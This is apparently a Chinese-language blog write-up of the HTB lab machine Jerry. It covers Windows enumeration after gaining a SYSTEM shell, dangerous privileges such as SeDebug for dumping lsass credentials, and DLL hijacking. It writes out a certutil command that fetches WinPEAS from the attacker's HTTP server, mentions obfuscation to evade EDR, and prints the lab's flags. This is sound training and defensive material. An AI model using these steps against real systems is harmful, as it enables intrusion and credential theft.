昨天打進 Jerry,whoami 直接回我 nt authority\system。
當時有提到,為什麼我們一跑 whoami,就直接是 SYSTEM,完全沒有經過提權過程的拷打(?)
一個可能的原因,就是 Tomcat 被設定成以 SYSTEM 身分執行,而不是使用權限受限的服務帳號~
只要我們成功利用 Tomcat 的管理介面部署並執行程式,取得的 Shell 就可能直接繼承 Tomcat 的高權限,連提權都不用,直接到終點了 xddd
那……什麼才是正確的權限設定呢?
想一想,突然想到之前稽核的時候,顧問看到我們有些服務是用系統帳號或管理員帳號在跑,說要另外開個人帳號來跑,不能用高權限的。當時沒問清楚原因,現在打完 Jerry 才大概懂了,至少用低權限帳號,被拿走的時候傷害範圍小很多 QQ
今天就留在我們的目標機器 Jerry 裡,把這件事搞清楚。
這是今天在 Jerry 拿到的 target ip:10.129.136.9
昨天我們取得了 Jerry 的 reverse shell,我們目前的身分是nt authority\system
之前打 Linux 靶機整理過:拿到 shell 第一件事,先問「我是誰、我在哪、我能做什麼」。
Windows 也是一樣的問題,只是指令不一樣:
| 問題 | Linux | Windows |
|---|---|---|
| 我是誰? | whoami |
whoami |
| 我在哪些群組? | id |
whoami /groups |
| 我在哪裡? | pwd |
cd |
| 我能做什麼? | sudo -l |
whoami /priv(看 Enabled 的欄位) |
| 這台機器是什麼? | hostname / uname -a |
hostname / systeminfo |
| 裡面有什麼寶? | ls /home,cat 設定檔,flag |
net user ,type(等於 cat),flag |
如果打進去的是 AD 環境,問題一樣,但「裡面有什麼寶」不是找檔案,是找權限關係——誰能走到 Domain Admin。那是另一套 SOP,Forest 那篇有整理過。
whoami /groups — 我在哪些群組?

cd — 我在哪?
hostname — 主機名稱?
systeminfo — 這台機器是什麼?
Host Name: JERRY
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-00112-46014-AA570
Original Install Date: 6/18/2018, 11:30:45 PM
System Boot Time: 10/9/2026, 1:14:14 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4,095 MB
Available Physical Memory: 3,333 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,788 MB
Virtual Memory: In Use: 1,011 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): 142 Hotfix(s) Installed.
[01]: KB2868626
[02]: KB2883200
[03]: KB2887595
[04]: KB2894856
[05]: KB2903939
[06]: KB2911106
[07]: KB2919355
[08]: KB2919394
[09]: KB2928680
[10]: KB2938066
[11]: KB2954879
[12]: KB2967917
[13]: KB2977765
[14]: KB2978041
[15]: KB2978126
[16]: KB2989930
[17]: KB3000850
[18]: KB3003057
[19]: KB3004365
[20]: KB3004545
[21]: KB3012235
[22]: KB3012702
[23]: KB3013172
[24]: KB3013531
[25]: KB3013538
[26]: KB3013769
[27]: KB3013791
[28]: KB3013816
[29]: KB3014442
[30]: KB3015696
[31]: KB3018133
[32]: KB3019978
[33]: KB3021910
[34]: KB3023222
[35]: KB3023266
[36]: KB3024751
[37]: KB3024755
[38]: KB3029603
[39]: KB3030947
[40]: KB3032663
[41]: KB3033446
[42]: KB3035126
[43]: KB3036612
[44]: KB3037579
[45]: KB3037924
[46]: KB3038002
[47]: KB3042085
[48]: KB3044374
[49]: KB3044673
[50]: KB3045634
[51]: KB3045685
[52]: KB3045717
[53]: KB3045719
[54]: KB3045755
[55]: KB3045999
[56]: KB3046017
[57]: KB3046737
[58]: KB3054169
[59]: KB3054203
[60]: KB3054256
[61]: KB3054464
[62]: KB3055323
[63]: KB3055343
[64]: KB3055642
[65]: KB3059317
[66]: KB3060681
[67]: KB3060793
[68]: KB3061512
[69]: KB3063843
[70]: KB3071756
[71]: KB3074228
[72]: KB3074548
[73]: KB3076949
[74]: KB3077715
[75]: KB3078405
[76]: KB3078676
[77]: KB3080149
[78]: KB3082089
[79]: KB3084135
[80]: KB3084905
[81]: KB3086255
[82]: KB3087041
[83]: KB3087137
[84]: KB3091297
[85]: KB3094486
[86]: KB3095701
[87]: KB3097997
[88]: KB3098779
[89]: KB3099834
[90]: KB3100473
[91]: KB3102429
[92]: KB3103616
[93]: KB3103696
[94]: KB3103709
[95]: KB3109103
[96]: KB3109560
[97]: KB3109976
[98]: KB3110329
[99]: KB3115224
[100]: KB3121261
[101]: KB3121461
[102]: KB3123245
[103]: KB3126434
[104]: KB3126587
[105]: KB3133043
[106]: KB3133690
[107]: KB3134179
[108]: KB3134815
[109]: KB3137728
[110]: KB3138378
[111]: KB3138602
[112]: KB3138910
[113]: KB3138962
[114]: KB3139164
[115]: KB3139398
[116]: KB3139914
[117]: KB3140219
[118]: KB3140234
[119]: KB3145384
[120]: KB3145432
[121]: KB3146604
[122]: KB3146723
[123]: KB3146751
[124]: KB3147071
[125]: KB3155784
[126]: KB3156059
[127]: KB3159398
[128]: KB3161949
[129]: KB3162343
[130]: KB3172614
[131]: KB3172729
[132]: KB3173424
[133]: KB3175024
[134]: KB3178539
[135]: KB3179574
[136]: KB3185319
[137]: KB4033369
[138]: KB4033428
[139]: KB4054854
[140]: KB4096417
[141]: KB4287903
[142]: KB4284815
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: Yes
DHCP Server: 10.10.10.2
IP address(es)
[01]: 10.129.136.9
[02]: fe80::f95e:af47:2f8e:4718
[03]: dead:beef::f95e:af47:2f8e:4718
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
net user — 有哪些本機帳號?

net user 列出了 Administrator 和 Guest 兩個本機帳號。Guest 通常預設停用,不過光看這份清單,還不能判斷實際有多少人使用這台機器,也不能排除還有其他網域帳號。
接著再看看 C:\Users 裡有哪些使用者目錄,交叉比對一下我們目前看到的線索~
dir C:\Users — 有哪些使用者目錄?

這裡看到了 Administrator 和 Public。Administrator 是管理員的使用者目錄,Public 則是 Windows 提供的共用使用者資料夾~
這些目錄可以幫我們了解主機上的檔案結構,但不能只靠目錄名稱就判斷實際有哪些人登入或使用過這台機器!
尋flag之路
HTB 的 Flag 很多時候會放在使用者的桌面,所以不用一開始就全盤搜尋,可以先從 Administrator 的桌面找起:dir ..
dir C:\Users
dir C:\Users\Administrator
dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop\flags
type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
耶~~~我們一次兩個flags!
user.txt : 7004dbcef0f854e0fb401875f26ebd00
root.txt : 04a8b36e1545a455393d067e772fe90e
不過這只是常見的搜尋方向,不代表每台靶機的 Flag 都會放在這裡!如果沒有找到,就再看看其他資料夾~~~
whoami /priv 要特別講一下大家有沒有發現,剛剛跳過了whoami /priv,因為我們要特別放大講他xdddd
whoami /priv
輸出會長這樣:

看到這張表的時候,我第一個疑問是:
「Disabled 的那些權限……是我沒有,還是有但沒開?」
在 Windows,「擁有某項特權」跟「這項特權目前是否啟用」是兩件事。
whoami /priv 會列出目前帳號所包含的特權,以及它們目前的啟用狀態
Disabled:這項特權目前沒有啟用,但不代表一定可以自行啟用。Enabled:這項特權目前已啟用,但不代表一定能直接利用它提權。所以,看到 Enabled 也不能直接認定有漏洞,還是要看這項特權能做什麼,以及是否符合實際利用條件~
Tomcat 的工作只是讓 Java Web 應用跑起來。但......這樣的工作,真的需要拿到剛剛看到的那麼多特權嗎?
SeDebugPrivilege — 原本是給開發者 debug 用的。拿到這個,在符合條件時我們可以直接讀 lsass.exe 的記憶體——那個專門幫 Windows 記錄「誰登入過、密碼是什麼」的 process—把裡面的帳密撈出來 😨(前提是有人登入過,沒登入過就撈不到)
SeImpersonatePrivilege — 在 Windows 裡,當有人連進這台機器做事,他的身份(token)會短暫出現在這台機器上。這個特權讓我們在符合條件時,可以在那個當下「借走」他的身份去做事,偽裝成他—所以如果剛好有管理員連進來,我們就能借他的身份為所欲為 xddd
SeTcbPrivilege — 這個更猛,不需要等任何人連進來。直接讓我們的 process 假裝自己是作業系統本身,憑空產生任何使用者的身份,包括 SYSTEM。比 SeImpersonatePrivilege 還強一個等級。
Tomcat 本身不一定會用 SYSTEM 身分執行,實際上還是要看 Windows 服務的設定~
比較安全的做法,是讓 Tomcat 使用權限受限的專用服務帳號,而不是直接給它 SYSTEM 這麼高的權限(如果管理員把 Tomcat 設定成以 SYSTEM 身分執行,那就要小心了 QQ
一旦攻擊者成功利用管理介面部署並執行惡意 WAR、取得 Shell,就可能直接繼承 Tomcat 的執行身分—還沒開始研究提權,就已經直接拿到 SYSTEM 了!!!
這也是為什麼拿到 Shell 之後,一定要先跑 whoami,看看自己現在是誰 xddd
就算已經是 SYSTEM、不需要提權,還是可以來一起看看 WinPEAS 這個可以協助找提權路徑的工具 xddd
WinPEAS 會自動幫我們檢查各種 Windows 安全設定~不需要高權限,任何帳號都能跑,只是低權限帳號有些輸出會抓不到QQ (以後卡關不知道怎麼提權,可以先請出WinPEAS ,說不定會有意想不到的收穫 👀
不過在真實環境用要小心>< WinPEAS 是各大防毒和 EDR 眼中的黑名單,直接跑幾乎一定被抓 QQ
實務上會透過混淆之類的技巧繞過><但我們目前在 HTB 靶機,先不用擔心這個 xddd
靶機通常不能直接上網,工具要先放在我們的 Kali,開一個 HTTP 伺服器,讓靶機自己來下載!
先在 Kali 把 WinPEAS 下載到 /tmp,再開 HTTP 伺服器讓靶機來拿:
切到要放 WinPEAS 的目錄
cd /tmp

從 GitHub 下載 WinPEAS 到這個目錄
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe

在 port 8000 開一個臨時 HTTP 伺服器,讓靶機來下載檔案
python3 -m http.server 8000

在 Jerry 的 shell 裡,用 certutil 下載 WinPEAS(wget 是 Linux 的下載工具,在 Windows 靶機上要改用 certutil):
certutil -urlcache -split -f http://10.10.15.205:8000/winPEASany.exe winPEASany.exe
| 參數 | 用途 |
|---|---|
certutil |
Windows 內建工具,原本是用來處理憑證的,但也可以拿來下載檔案 |
-urlcache -split -f |
強制從 URL 下載存成檔案,-f 是覆蓋舊檔、-split 是分段下載 |
http://10.10.15.205:8000/winPEASany.exe |
從我們的 Kali 下載 WinPEAS |
winPEASany.exe |
存成這個檔名 |

winPEASany.exe
像這樣:

跑完之後,輸出真的很長很長——WinPEAS 會用顏色標示一些值得注意的項目,讓我們比較容易找到線索。
不過,紅字不等於漏洞已經成立! 它只是提醒我們,這個項目可能值得進一步檢查。
例如,看到 lsass 或 svchost 相關的資訊時,我們不能只看它們的執行身分,就直接判斷有沒有提權機會!還要進一步確認DLL 載入方式,以及是否存在可以被利用的設定問題。
那 DLL Hijacking 是什麼?
Windows 程式在執行時,可能會載入 DLL,可以先把它想成程式用來呼叫其他功能的元件。
如果程式載入 DLL 的方式存在問題,而且我們能控制它載入的 DLL,就可能讓程式執行我們準備的惡意程式碼~
以高權限服務為例!
假設今天有一個以 SYSTEM 身分執行的服務,而我們確認它存在 DLL 載入上的弱點,也有辦法控制它載入的 DLL,就值得進一步研究能不能利用這個問題提權。
如果惡意程式碼真的被這個高權限程序載入並執行,就可能取得該程序所擁有的高權限XDD
這就是 DLL Hijacking 的核心:利用程式載入 DLL 的方式,讓高權限的程序執行不該執行的程式碼~
不過,今天我們已經是 SYSTEM 了,這些提權路徑就不是目前最需要研究的方向 xddd
但如果當初拿到的是低權限帳號,WinPEAS 找到的相關線索,就值得我們繼續調查 👀
寫前幾份靶機的 Report 時,我們有學到一個撰寫技巧:先說明做得好的地方,讓對方更願意接受後續的改善建議。
當時寫到「有使用 www-data,而不是直接用高權限執行服務,權限控管做得不錯」時,老實說,我其實不太懂這有什麼好誇獎的 xddd
心裡還想說:「這不是本來就應該做到的嗎?」
直到這次遇到 Jerry,看到 Tomcat 竟然是用 SYSTEM 身分執行,讓我們一拿到 Shell,就直接取得了高權限,才真正感受到服務執行身分的差異。
原來,服務使用什麼身分執行,真的會影響系統遭到入侵後,攻擊者能做到什麼程度!
以前寫 Report 時,可能只是知道要把這些優點跟改善建議寫進去,卻沒有真正理解背後的意義。
但經過這次實作,才慢慢把以前學過、寫過的觀念串起來。
原來以前覺得理所當然的事情,背後其實都有它重要的原因啊!!🥹
明天就來寫我們這台機器Jerry的報告!!!明天見啦~~~